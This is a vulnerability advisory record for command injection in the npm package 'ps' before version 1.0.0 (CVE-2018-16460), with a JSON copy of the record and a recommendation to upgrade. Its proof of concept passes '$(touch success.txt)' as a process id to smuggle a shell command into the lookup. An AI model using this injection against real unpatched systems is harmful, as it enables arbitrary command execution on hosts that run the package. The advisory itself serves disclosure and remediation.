GHSA-CFHG-9X44-78H2

Vulnerability from github – Published: 2018-09-17 20:43 – Updated: 2023-09-11 18:21
VLAI?
Summary
ps Enables OS Command Injection
Details

Versions of ps before 1.0.0 are vulnerable to command injection.

Proof of concept:

var ps = require('ps');

ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
    if (err) {throw err;}
    if (proc) {
        console.log(proc);  // Process name, something like "node" or "bash"
    } else {
        console.log('No such process');
    }
});

// Result: The file success.txt will exist on the filesystem if the touch command was executed

Recommendation

Update to version 1.0.0 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ps"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-16460"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:31:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "Versions of `ps` before 1.0.0 are vulnerable to command injection.\n\n### Proof of concept:\n```js\nvar ps = require(\u0027ps\u0027);\n\nps.lookup({ pid: \"$(touch success.txt)\" }, function(err, proc) { // this method is vulnerable to command injection\n    if (err) {throw err;}\n    if (proc) {\n        console.log(proc);  // Process name, something like \"node\" or \"bash\"\n    } else {\n        console.log(\u0027No such process\u0027);\n    }\n});\n\n// Result: The file success.txt will exist on the filesystem if the touch command was executed\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.0 or later.",
  "id": "GHSA-cfhg-9x44-78h2",
  "modified": "2023-09-11T18:21:34Z",
  "published": "2018-09-17T20:43:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16460"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/390848"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-cfhg-9x44-78h2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/security-wg/blob/master/vuln/npm/470.json"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/728"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ps Enables OS Command Injection"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…